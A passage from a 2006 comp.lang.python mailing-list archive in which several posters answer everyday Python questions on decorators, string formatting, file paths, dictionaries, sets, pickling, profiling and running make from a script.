): > ... > > class Person( Exposed ): > @Exposed.expose > def talk( self, ... ): > ... > > I'm trying to implement the decorator by having it populate a static > member list of whatever class it's in with a reference to the method. > getExposedMethods() would then return the contents of each of those > lists from itself back to Exposed in the class hierarchy. The first > problem was that having a reference to the method (i.e. talk()) does > not allow you to get a reference to the enclosing class (I had hoped > im_class would lead me there). Not yet. When your decorator is called, the class object is not yet created, and what you are decorating is a plain function. > The real hiccup was that explicitly > passing the class as an argument to the decorator generates a undefined > global name error, presumably because at that point of execution the > class object hasn't been fully created/initialised. Exactly. > So how can this be done? The simplest thing is to use a two-stages scheme : mark the functions as exposed, then collect them: def expose(func): func._exposed = True return func def exposed(obj): return callable(obj) and getattr(obj, '_exposed', False) class Exposing(object): @classmethod def get_exposed_methods(cls): try: exposeds = cls._exposed_methods except AttributeError: exposeds = [] for name in dir(cls): obj = getattr(cls, name) if exposed(obj): exposeds.append(obj) cls._exposed_methods = exposeds return exposeds class Parrot(Exposing): @expose def parrot(self, what): return "%s says %s" % (self, str(what)) HTH -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From onurb at xiludom.gro Wed Oct 11 07:16:31 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 11 Oct 2006 13:16:31 +0200 Subject: How to write Smart Python programs? In-Reply-To: References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> Message-ID: <452cd290$0$8656$426a74cc@news.free.fr> Theerasak Photha wrote: > On 10/11/06, Bruno Desthuilliers wrote: > >> 2/ functions that returns a status code and modify their arguments. > > Argument modification for lists with one item is *sometimes* used to > emulate full lexical closure. (or at least that's what the folks on > freenode #python told me) Yes, but that's another point. What I was talking about (perhaps not clearly) is mutable arguments used as returned values, ie: C-smell: def my_func(res): bar = foo() if bar is None: return 1 # error else: res['bar'] = bar res['baaz'] = "blah" return 0 # no error pythonic: def my_func(): bar = foo() if bar is None: raise FooBarError("no bar from foo") return dict(bar=bar, baaz='blah') -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From gagsl-py at yahoo.com.ar Tue Oct 10 05:55:58 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 10 Oct 2006 06:55:58 -0300 Subject: A problem about File path encode In-Reply-To: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com > References: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com> Message-ID: <7.0.1.0.0.20061010065236.04290218@yahoo.com.ar> At Monday 9/10/2006 22:14, Kevien Lee wrote: > There is a problem about File path encode ,when i want to parse > an xml file. > xmldoc=minidom.parse("D:\Downloads\1.xml") >IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml' > >See the red line.the file path"D:\Downloads\1.xml" auto changed >'D:\\Downloads\x01.xml' > >I think may be the version cause the problem (version2.4) at the >beginning,but when i changed the version2.5 , \ is a escape character. Use "D:\\Downloads\\1.xml" or r"D:\Downloads\1.xml" or "D:/Downloads/1.xml" (I wrote this same message a few hours ago...!) -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From marco.lierfeld at rwth-aachen.de Thu Oct 12 10:39:19 2006 From: marco.lierfeld at rwth-aachen.de (Marco Lierfeld) Date: Thu, 12 Oct 2006 16:39:19 +0200 Subject: Pickling an instance of a class containing a dict doesn't work References: <4p6vk6Fh2jevU1@news.dfncis.de> <1160662300.159122.20520@m7g2000cwm.googlegroups.com> <1160662416.716488.19740@k70g2000cwa.googlegroups.com> Message-ID: <4p72coFhibirU1@news.dfncis.de> Jon Clements wrote: >> if you change the above to: >> >> class subproject: >> def __init__(self): >> configuration = { } >> build_steps = [ ] > > Of course, I actually meant to write self.configuration and > self.build_steps; d0h! Thank you Jon and Paul, you both were 100% right :) But I still don't understand, why the list was saved and the dict was not... confusing ;) Bye, Marco From mail at microcorp.co.za Tue Oct 24 01:36:43 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 24 Oct 2006 07:36:43 +0200 Subject: Python 2.5 ; Effbot console ; thank ; pb release. References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> Message-ID: <021801c6f734$cb375900$03000080@hendrik> "Fredrik Lundh" wrote: M?ta-MCI wrote: > For the professional developments, it is a major risk. some days, I ask myself why I shouldn't just use GPL for everything I do, and ship it as source code only. because then you would deny your work to thousands of ungrateful, unmotivated lazy buggers like me... seriously, though- the OP's problem was that he was fixing something that was not broken - by upgrading, for some incomprehensible reason - and then expecting that the whole world would follow, and ease his pain by intuiting what he was using, and upgrading it for him, to make his chosen add ons compatible with his upgrade... I wonder what else his upgrade broke? - you obviously have a major task on your hands as you are expected to fix that too... Why are you surprised at ingratitude, BTW? Keep up the good work. - Hendrik From fredrik at pythonware.com Mon Oct 30 13:01:15 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 19:01:15 +0100 Subject: How to convert " " in a string to blank space? In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> Message-ID: ??? wrote: > Is there any simple way to solve this problem?   corresponds to a non-breaking space, chr(160). if you're only dealing with this specific XML/HTML entity, you can do text = text.replace(" ", " ") or text = text.replace(" ", chr(160)) to handle arbitrary entities and character references, pass the data through an HTML or XML parser, or use something like: http://effbot.org/zone/re-sub.htm#unescape-html From mfmdevine at gmail.com Mon Oct 2 10:43:35 2006 From: mfmdevine at gmail.com (Mark Devine) Date: Mon, 2 Oct 2006 15:43:35 +0100 Subject: regular expressions in the pexpect module for python Message-ID: <8249b1d00610020743r2c2a9ea8p4e853e98a94be875@mail.gmail.com> Hi I wonder if you can help me. I am using pexpect with python to access remote machines and run commands on them. I pass commands into code like so: def cmd(self, cmd): pp=[ "|", "]", "[", "(", ")", "$", "?", "*", ".", ":"] expcmd=cmd for element in pp: expcmd=expcmd.replace(element, "\\%s" % element) self.spawn.setecho(False) self.spawn.sendline(cmd) self.spawn.expect (expcmd) self.spawn.expect(self.prompt) return self.spawn.before The above code is supposed to match the command, then match the prompt and then return what is in between. Since pexpect uses regular expressions to match what it sees -------------- next part -------------- An HTML attachment was scrubbed... URL: From pavlovevidence at gmail.com Tue Oct 24 23:32:55 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 24 Oct 2006 20:32:55 -0700 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: <1161747175.606159.313510@i42g2000cwa.googlegroups.com> Steve Holden wrote: > pretoriano_2001 at hotmail.com wrote: > > Hello: > > I have next dictionaries: > > a={'a':0, 'b':1, 'c':2, 'd':3} > > b={'a':0, 'c':1, 'd':2, 'e':3} > > I want to put in a new dictionary named c all the keys that are in b > > and re-sequence the values. The result I want is: > > c={'a':0, 'c':1, 'd':2} > > How can I do this with one line of instruction? > > > You can't. Dictionaries aren't ordered collections. > > > I attempted the next but the output is not the expected: > > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)]) > > erroneously (for me) gets: > > {'a': 0, 'c': 2, 'd': 3} > > > > Thanks for your help. > > In Python {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3} Careful there, chief. The Python interpreter disagrees: >>> {'a':0, 'c':1, 'd':2} == {'a': 0, 'c': 2, 'd': 3} False I inferred that by "re-sequencing", the OP meant the keys in the new dict were to be associated with a new range of integer values (probably specifically the key's index in a sorted list of keys). It was an unfortunate choice of words, as sequencing has a pretty specific meaning in Python. Carl Banks From fredrik at pythonware.com Mon Oct 30 10:05:03 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 16:05:03 +0100 Subject: Calling GNU/make from a Python Script In-Reply-To: <45462091@news.bezeqint.net> References: <45462091@news.bezeqint.net> Message-ID: Efrat Regev wrote: > 1. The script is not in the directory of the makefile, and changing the > locations of either is not an option. Consequently, the makefile fails, > since it can't find the targets/dependencies. build_dir = "path/to/makefile" cwd = os.getcwd() # get current directory try: os.chdir(build_dir) os.system("make") finally: os.chdir(cwd) > 2. After searching around, it seems that os.system(..) should be avoided > if there's an alternative. Is there one in this case? "make" is not an operating system service, no. From rtilley at vt.edu Thu Oct 19 20:07:27 2006 From: rtilley at vt.edu (Brad) Date: Thu, 19 Oct 2006 20:07:27 -0400 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: Steven D'Aprano wrote: > Gah!!! That's *awful* in so many ways. Thanks... I'm used to hearing encouragement like that. After a while you begin to believe that everything you do will be awful, so why even bother trying? It has been my experience that Python has discouraging forums with someone always calling someone else an idiot or telling them they are awful in some way. I love Python, but the community is way too negative, uptight and generally down on users who do not have PhD's in CS or Math. Do you have children? How would your child feel if he brought you something he had made and you then told him it was awful in *sooo* many ways. How does that reflect on you and the community you represent? Cut people who don't think like you some slack, OK? > (1) The name is bad. "invert" is not the same as "reverse". Here's an > invert: 1/2 = 0.5. Your function falsely claims numbers aren't invertable. Dictionary.com invert = to reverse in position, order, direction, or relationship. It matters not that a sequence is thought of as being from left to right, top to bottom or right to left, does it? Read the sequence as you normally would (however that may be) and then invert it or read it in reverse to begin with. I apologize for bringing this up. Thanks for your time. From dakman at gmail.com Mon Oct 30 12:38:34 2006 From: dakman at gmail.com (dakman at gmail.com) Date: 30 Oct 2006 09:38:34 -0800 Subject: How can I import a script with an arbitrary name ? In-Reply-To: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: <1162229914.110409.149710@m7g2000cwm.googlegroups.com> I had to do something like this a while back for a modular IRC bot that I wrote. __import__() will do the trick, however to avoid getting a cache of the module I recomend doing something like... mod = reload( __import__("%s-%s-%s" % ( t[0], t[1], t[2] ) ) ) leonel.gayard at gmail.com wrote: > Hi all, > > I have a script responsible for loading and executing scripts on a > daily basis. Something like this: > > import time > t = time.gmtime() > filename = t[0] + '-' + t[1] + '-' + t[2] + '.py' > import filename > > So, I have a module with an arbitrary file name and I want to load it, > and later access its function definitions. > How can I do this ? In my example, the last line will obviously not > work. From stephane at harobed.org Fri Oct 6 04:28:37 2006 From: stephane at harobed.org (=?ISO-8859-1?Q?KLEIN_St=E9phane?=) Date: Fri, 06 Oct 2006 10:28:37 +0200 Subject: Package to handle table text render (handle space or tab between the columns) ? In-Reply-To: References: <45260ab2$0$25946$ba4acef3@news.orange.fr> Message-ID: <452613b6$0$5108$ba4acef3@news.orange.fr> hanumizzle a ?crit : > On 10/6/06, KLEIN St?phane wrote: >> Hi, >> >> I would like print tabular values on terminal (stdout). Are there >> package to handle table text render ? > > Have a look at: > > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267662 Thanks, this package is very useful ! But I'm suprised than this package isn't in python standard library ! Regards, Stephane From sparks.m at gmail.com Tue Oct 10 07:51:57 2006 From: sparks.m at gmail.com (Michael Sparks) Date: 10 Oct 2006 04:51:57 -0700 Subject: Python component model In-Reply-To: References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> Message-ID: <1160481117.377844.82630@i3g2000cwc.googlegroups.com> Edward Diener No Spam wrote: > Michael wrote: > > Edward Diener No Spam wrote: > > > >> Has there ever been, or is there presently anybody, in the Python > >> developer community who sees the same need and is working toward that > >> goal of a common component model in Python, blessed and encouraged by > >> those who maintain the Python language and standard modules themselves ? > > > > Someone aiming towards a standard to /replace/ everyone else's? That > > presupposes a level of arrogance that seems unusual in the python world. > > (whilst everyone's proud of their own code and they _generally_ respect > > other people's even if it's not their cup of tea). > > The reason I would like to see a standard component model for Python is > so 3rd party developers could create their classes to conform to this > model and work in any RAD IDE environment which adapts it. That's the > way JavaBeans work, that the way Borland's VCL component model works, > and that's the way .Net works. When there are many different component > models, the 3rd party developer must adapt their components to each > model for a particular environment. > > But far be it from me to want to replace everybody else's model . Well that's the thing you *do* want since you want the previous paragraph ;-) (Or at least a way to adapt component models.) > By your reasoning above, standardizing anything in software is an > arrogant proposition. Whereas I look at standardization, when it is well > done, as a boon to programmers. OK, maybe I was being a bit strong - I was merely thinking "lots of people have something like this already, and I've not seen anyone push their model as THE model", (even if lots of people like *their* model :-) However, I was also being a bit tongue in cheek, though I should have said unreasonable, not arrogant: "...all progress depends on the unreasonable man." -- Bernard Shaw. What could have some mileage though is proposing a standard way for these component models to interoperate. What that would look like (given the wildly different models :), is another matter and an exercise for the interested reader ;-) > > The WSGI standard could be a form of component model, and has gone through > > the PEP process so that might match your criterion. > > I do not know what it is but I will look it up. NB, I'm using component model in it's loosest form there. > > As for component > > models, they do exist. > > > > Our component model on the Kamaelia project [1] is one that's heavily > > designed around the idea of composition and independent execution of > > components and message passing (message passing maps to events for some > > sorts of message), > > [1] http://kamaelia.sourceforge.net/Home > > I will look at kamaelia. Thanks ! You're welcome. Any deficiencies or improvements or suggestions you've got would be very welcome (I can see some which we're planning on addressing at some point, but fresh critical eyes are always welcome). > > However, off the top of my head, you should also look at Zope's component > > model, Trac's component model, Twisted's model & PEAK, and any proposal > > to say "this is the solution", needs to be compelling for all of these > > projects. > > A standard component model could be used as a base for other more > advanced needs. Most of those mentioned above seem to involve web > application frameworks whereas my idea of a component model just assumes > the paradigms of properties, methods, and events which may allow > re-usable components at a base level in any environment. They do, however in particular, Trac's model whilst web oriented strikes me personally as interesting and PEAK's is applicable, as I understand it, outside the web sphere. (Enthought was mentioned elsewhere and is interesting (IMO) for the properties stuff) If you're interested in event systems as well, it's probably worth looking at the way a number of pygame applications are written since there's an event model built into pygame that some pygame apps take advantage of for custom events and some don't. It's a very different problem realm to the web systems. Twisted is worth looking at as well, since it's probably got one of the more interesting approaches for dealing with essentially event based systems I've seen. > A particular implementation is certainly allowed to build a more > complicated idea of a component, through inheritance, from a base level > component, and this is in fact the way that most components work in > current component model environments I have mentioned. For instance in > .Net a control is a component with other added qualities. So while one > could build components which are not controls, it is necessary to add > functionality to the base level idea of a component in order to create a > control. You *may* also want to take a look at picolo as well then - but as far as I'm aware it's not actually *used* by anyone. It is in some respects more like the kind of component model you describe here. (I personally didn't find much useful about their proposal that goes beyond what python already provides you) However you might find that and some of the other things on the following link interesting: http://www2.lifl.fr/~marvie/software.html It's worth bearing in mind though that your description above is one approach for component based design. A survey of different approaches which you might find useful: > Thanks for all the link regarding kamaelia. Probably went a bit overboard there :) However I do agree that a visual system is something important, since not everyone thinks the same way. (I can talk about our system till the cows come home, show people code, but when I show them the visual builder, everyone seems to understand). Regards, Michael. -- Michael Sparks, Kamaelia Dust Puppy http://kamaelia.sf.net/ http://yeoldeclue.com/blog From stephen at theboulets.net Tue Oct 3 15:52:31 2006 From: stephen at theboulets.net (stephen at theboulets.net) Date: 3 Oct 2006 12:52:31 -0700 Subject: Looping over a list question References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com> Message-ID: <1159905151.490262.260000@h48g2000cwc.googlegroups.com> Fredrik Lundh wrote: [snip] > probably. but unless your editor or keyboard is horribly broken, you > can of course press return at the right place instead: > > for i in datafiles: > if '.txt' in i: > print 'Processing datafile %s' % f > > (for this specific case, "endswith" is more reliable than "in", btw) > > My "print" line is actually a long 40 line block. I guess I could just do datafiles = [f for f in datafiles if f.endswith('.txt')] and then loop over it. mdsteele at gmail.com wrote: > Yes, there has: > http://groups.google.ca/group/comp.lang.python/browse_thread/thread/9... Thanks for the link. I didn't know about str.startswith and str.endswith, which I can see is very useful. So, not a universally popular proposal. Interesting how different programming 'phrasings' resonate with different people. For me, for example, lambda causes my eyes to glaze over. I do love list comprehensions though. I'd also love to see string constants implemented some day too (like str.whitespace and str.ascii_letters). Stephen From fer7msb02 at sneakemail.com Fri Oct 27 04:28:28 2006 From: fer7msb02 at sneakemail.com (Yang) Date: Fri, 27 Oct 2006 04:28:28 -0400 Subject: Assertion failure on hotshot.stats.load() In-Reply-To: <31672-10273@sneakemail.com> References: <31672-10273@sneakemail.com> Message-ID: <26399-97155@sneakemail.com> I fell back onto the old profile module, but got the following error when trying to use zope.interface. I am now without any way to profile my application. Traceback (most recent call last): File "/home/yang/local/bin/profile.py", line 611, in ? run('execfile(%r)' % (sys.argv[0],), options.outfile, options.sort) File "/home/yang/local/bin/profile.py", line 72, in run prof = prof.run(statement) File "/home/yang/local/bin/profile.py", line 448, in run return self.runctx(cmd, dict, dict) File "/home/yang/local/bin/profile.py", line 454, in runctx exec cmd in globals, locals File "", line 1, in ? File "/.automount/nms.lcs.mit.edu/export/home/yang/proj/cartel/trunk/icedb/src/frontend/icedb-central.py", line 5, in ? from icedb import * File "/home/yang/local/lib/python2.4/site-packages/icedb/__init__.py", line 4, in ? import cafnet File "/home/yang/local/lib/python2.4/site-packages/cafnet/__init__.py", line 269, in ? class Cnl( object ): File "/opt/zope/lib/python/zope/interface/advice.py", line 132, in advise return callback(newClass) File "/opt/zope/lib/python/zope/interface/declarations.py", line 485, in _implements_advice classImplements(cls, *interfaces) File "/opt/zope/lib/python/zope/interface/declarations.py", line 462, in classImplements spec.declared += tuple(_normalizeargs(interfaces)) File "/opt/zope/lib/python/zope/interface/declarations.py", line 1373, in _normalizeargs _normalizeargs(v, output) File "/opt/zope/lib/python/zope/interface/declarations.py", line 1372, in _normalizeargs for v in sequence: TypeError: Error when calling the metaclass bases iteration over non-sequence On 10/27/06, Yang fer7msb02-at-sneakemail.com |python| <...> wrote: > Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks > several packages I depend on. I'm using Python 2.4.3. > > I'm getting an AssertionError on "assert not self._stack" when calling > hotshot.stats.load() on my app's hotshot profile. The app consistently > causes hotshot to generate such a problematic profile, but I have no > idea what's causing it. Anybody know what's wrong? > > Here's the profile: > > http://www.filefactory.com/file/76fdbd/ > > Potentially relevant bugs: > > http://sourceforge.net/tracker/index.php?func=detail&aid=900092&group_id=5470&atid=105470 > http://sourceforge.net/tracker/index.php?func=detail&aid=1019882&group_id=5470&atid=105470 > > Thanks in advance for any help. > -- > http://mail.python.org/mailman/listinfo/python-list > From fredrik at pythonware.com Wed Oct 4 10:55:28 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 4 Oct 2006 16:55:28 +0200 Subject: sax barfs on unicode filenames References: <4ohufoFem6rpU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: > Filenames are expected to be bytestrings. So what happens is that the > unicode string you pass as filename gets implicitly converted using the > default encoding. it is ? >>> f = open(u"\u8116", "w") >>> f.write("hello") >>> f.close() >>> f = open(u"\u8116", "r") >>> f.read() 'hello' From tim.golden at viacom-outdoor.co.uk Thu Oct 5 06:41:18 2006 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 5 Oct 2006 11:41:18 +0100 Subject: Why do this? In-Reply-To: Message-ID: [Matthew Warren] | Now, I started programming when I was 8 with BBC Basic. Hey, likewise! (Except I was 12 when it came out!) | I learned over the years to do things like the following, and I like | doing it like this because of readability, something Python seems to | focus on :- | | Print "There are "+number+" ways to skin a "+furryanimal perfectly sound Python code, as far as it goes, altho' obviously "Print" is spelt "print" in Python, and if that number is in fact a number it'll need to be str ()-ed first. | But nowadays, I see things like this all over the place; | | print("There are %s ways to skin a %s" % (number, furryanimal)) The outermost brackets are (at the moment) unnecessary in python, altho' print is slated for replacement by a function in Python 3.0 at which point they'll be necessary. number = 3 animal = "cat" print "There are %d ways to skin a %s" % (number, animal) | Now I understand there can be additional formatting benefits when | dealing with numbers, decimal places etc.. But to me, for strings, the | second case is much harder to read than the first. I think what it comes down to is just what's most readable in the situation in which you're using it. Imagine a rather longer string, and one where and are not short names, but calls to some function. Sometimes, since %s will call __str__ on anything it's passed, it's a quick way to get a string representation of a more complex object, which you'd otherwise have to str () at least. | I hope I'm not being dense. Nothing dense about it. Very often a matter of taste and style. Sometimes I find myself using string substitution where a simple string addition might suffice simply because of consistency, for example where it's surrounded by some more complex cases as described above, and I don't want to break the pattern simply because the case is simpler. Also, for me, substitution often reads more naturally because you're not breaking the string up with lots of " + xxxx + "..." + yyy + "... stuff. Again, though, depends on what your code looks like, and how readable you find it. Certainly, I wouldn't advocate *pathologically* avoiding the "%s" % blah style, but it needn't always be the right thing. A typical example where it can become cumbersome is when you're partially reinventing a templating system with quite a long string, say of HTML, and quite a few substitutions right at the end. It may be easier to use the dictionary form of the substitution then, eg: print """ Long string with %(valueA)s and %(valueB)s and %(valueC)s embedded in it at some distance from the end... ... """ % dict (valueA=1, valueB="blah", valueC=datetime.datetime.now ()) Obviously that dict would likely be defined elsewhere, or could even be locals (). Once you get to this stage, though, you might want to start looking at templating toolkits like Cheetah, Genshi or any of the many others knocking around. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From __peter__ at web.de Wed Oct 4 08:41:15 2006 From: __peter__ at web.de (Peter Otten) Date: Wed, 04 Oct 2006 14:41:15 +0200 Subject: replacing all 'rng's in a buffer with consecutive r[1], r[2]'s References: Message-ID: m g william wrote: > I read a file into a buffer and subject it to re.sub() > I can replace every occurrence of a pattern with a fixed string but when > I try to replace each occurrence with a string that changes (by having > an incrementing number in it, (ie 'repTxt[1]','repTxt[2]'etc), I note > that the incrementing number generator function, I'm calling in > re.sub(), (which works fine outside it), seems to be evaluated only once > and is therefore not incrementing the number. > > Can someone please show me a working eg of how to replace 'rng' in a > file with 'r[1]', 'r[2]' etc. This is my first Python program so any > help would be very gratefully received. > > buf = pat.subn('rng[' + static() + ']', buf, 0) You'll have to repeat that to get the desired effect: pat = re.compile("rng") replacements = 1 while replacements: buf, replacements = pat.subn("r[" + static() + "]", buf, 1) print buf but there is a more efficient alternative def fsub(match): return "r[" + static() + "]" buf = re.sub("rng", fsub, buf) that would still work if you were to replace 'rng' with 'rng[1]', 'rng[2]'... Peter From martin at v.loewis.de Tue Oct 24 15:24:41 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 21:24:41 +0200 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: References: <45386B4C.4020001@v.loewis.de> <453d4821$0$22566$9b622d9e@news.freenet.de> <453DA645.2090009@v.loewis.de> <453E4C49.4000401@v.loewis.de> <453e56f2$0$30357$9b622d9e@news.freenet.de> Message-ID: <453e6879$0$30408$9b622d9e@news.freenet.de> Christopher Taylor schrieb: >> The Linux distributions already provide Python binaries (I believe >> Redhat does, too). You could study what they do to achieve that. > > Yes, this is true ... but they do not package the most up-to-date > version .. which I need. Sure. However, I still think they have solved the problem already - if just for older versions. The build procedure hasn't changed that much, so the solution might be applicable to the version you want as well. Regards, Martin From http Thu Oct 19 18:56:39 2006 From: http (Paul Rubin) Date: 19 Oct 2006 15:56:39 -0700 Subject: Lead Software Engineer References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com> Message-ID: <7xzmbrlxso.fsf@ruckus.brouhaha.com> Gabriel Genellina writes: > So you almost have to be Tim Berners-Lee to qualify... Who were > developing "high volume web applications" on 1996? Amazon.com was founded in 1995 and IPO'd in 1997, but yeah, things were sparse back then. From exogen at gmail.com Wed Oct 25 22:06:52 2006 From: exogen at gmail.com (Brian Beck) Date: Wed, 25 Oct 2006 22:06:52 -0400 Subject: Dealing with multiple sets References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com> Message-ID: John Henry wrote: > What's the cleanest way to say: > > 1) Give me a list of the items that are in all of the sets? (3 in the > above example) > 2) Give me a list of the items that are not in all of the sets? (1,2 in > the above example) > > Thanks, If you have an arbitrary list of sets, reduce comes in handy: See this recipe: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/476215 py> sets = [set((1, 2, 3)), set((2, 3)), set((1, 3))] py> reduce(set.intersection, sets) set([3]) py> reduce(set.union, sets) set([1, 2, 3]) py> reduce(set.union, sets) - reduce(set.intersection, sets) set([1, 2]) -- Brian Beck Adventurer of the First Order From jahakala at iki.fi Sat Oct 21 13:21:36 2006 From: jahakala at iki.fi (Jani Hakala) Date: Sat, 21 Oct 2006 20:21:36 +0300 Subject: Tkinter--does anyone use it for sophisticated GUI development? References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: <877iytk2jj.fsf@pingviini.kortex.jyu.fi> Kevin Walzer writes: > For instance, I've developed several Tcl > applications that use the core Tk widgets, the Tile theming package, the > Bwidget set (great tree widget and listbox, which allows you to embed > images), and tablelist (an extremely flexible muti-column listbox > display). > I tried to look for a python-library when I started using tablelist. The only link I found was quite dead. I spent a day or two while learning how to do a minimal (i.e. only those methods that I have needed) implementation from scratch :( It seems to work quite well for my purposes. > I've found Python wrappers for some of this stuff, but almost > no documentation on how to use them > Is there sufficient documentation for the Tcl/Tk libraries that the wrappers have been coded for? At least with Tkinter and Tix it is usually quite obvious what is the corresponding python method if you know the Tcl/Tk counterpart. Jani Hakala From MonkeeSage at gmail.com Wed Oct 4 11:49:48 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 4 Oct 2006 08:49:48 -0700 Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: <1159976988.042413.148230@k70g2000cwa.googlegroups.com> Jorgen Grahn wrote: > - infinite xrange()s Fun. How about in-memory objects which use no memory, and self-referential anonymous functions, and object states without objects... Regards, Jordan From georgeryoung at gmail.com Tue Oct 17 15:25:46 2006 From: georgeryoung at gmail.com (georgeryoung at gmail.com) Date: 17 Oct 2006 12:25:46 -0700 Subject: why should dict not be callable? Message-ID: <1161113146.541464.80890@i3g2000cwc.googlegroups.com> A couple of times recently I've come across this problem: I have a large list to sort and I need to the the "key=function" argument to sort appropriately. But I actually have the key mapping in a big dictionary. Now I have to make an intermediary function: def key_fn(key): return key_dict[key] If a dict were callable directly, this would be unnecessary. Often the small extra complexity and compute time is not important, but in sorting a large list, it could be a significant difference. Is there some reason a subscriptable thing like a dict should *not* be callable? -- George [nitpicking...] From me at jonbowlas.com Mon Oct 16 09:50:55 2006 From: me at jonbowlas.com (Jonathan Bowlas) Date: Mon, 16 Oct 2006 14:50:55 +0100 Subject: Convert StringIO to string Message-ID: <022f01c6f12a$1a047ce0$fde92452@bowlas> Ok, I think I'm explaining this badly because I've used getvalue() in the script I originally submitted to the list, see below: from StringIO import StringIO def generator_file(rsspath,titleintro,tickeropt): scripter=StringIO() scripter.write('\n') return scripter.getvalue() The problem is this script returns the following: <script type="text/javascript"> new rss_ticker(www.bbc.co.uk, True, True) </script> And I want to replace the < and > characters for < or > so it actually renders correctly in a browser so I'm returned this: So what am I doing wrong? J -------------- next part -------------- An HTML attachment was scrubbed... URL: From jstroud at mbi.ucla.edu Thu Oct 19 15:52:40 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Thu, 19 Oct 2006 19:52:40 GMT Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: Fredrik Lundh wrote: > James Stroud wrote: > > > without requiring an iterator > > can we perhaps invent some more arbitrary constraints while we're at it? > > > Why does it seem to me that you are confusing convienience with constraint, or are the two equivalent? James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From fredrik at pythonware.com Wed Oct 18 10:36:38 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 16:36:38 +0200 Subject: Python RPM package arch compatability References: <2590773a0610180721l7fdd7688i5d67b3c16201f44a@mail.gmail.com> Message-ID: Christopher Taylor wrote: > A quick question if I may. I'm running RHEL 4 on a x86_64 and I'm > curious if any of the packages at > http://www.python.org/download/releases/2.4/rpms/ would suite my > setup. > > If they don't can I simply build from source and not overwrite > /usr/bin/Python (for the same reasons as listed at the above mentioned > webpage)? if you use "make altinstall" instead of "make install", the installation process will only install a pythonX.Y binary (e.g. python2.5). From fredrik at pythonware.com Tue Oct 31 13:57:05 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 19:57:05 +0100 Subject: Why can't you assign to a list in a loop without enumerate? In-Reply-To: <1162320362.257426.121370@e3g2000cwe.googlegroups.com> References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com> Message-ID: Danny Colligan wrote: > My question is, what was the motivation for returning a deep copy of > the value at the ith index inside a for loop instead of the value > itself? I'm not sure the words "deep copy" and "value" really means what you think they do. maybe you should spend a little time with Python's documentation, instead of making up absurd theories about how things might work, only to get disappointed every time reality disagrees. > Also, is there any way to assign to a list in a for loop (with > as little code as used above) without using enumerate? what's wrong with using enumerate? or a list comprehension? or some other of the many different ways you can use to build a list from a set of values? From sjmachin at lexicon.net Wed Oct 4 11:13:29 2006 From: sjmachin at lexicon.net (John Machin) Date: 4 Oct 2006 08:13:29 -0700 Subject: PEP 358 and operations on bytes In-Reply-To: References: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> Message-ID: <1159974809.492898.253490@i42g2000cwa.googlegroups.com> Gerrit Holl wrote: > On 2006-10-04 05:10:32 +0200, John Machin wrote: > > > - str methods endswith, find, partition, replace, split(lines), > > > startswith, > > > - Regular expressions > > > > > > I think those can be useful on a bytes type. Perhaps bytes and str could > > > share a common parent class? They certainly share a lot of properties > > > and possible operations one might want to perform. > > > > > > > I look at it this way:: > > Processing text? Use unicode. > > Binary structures and 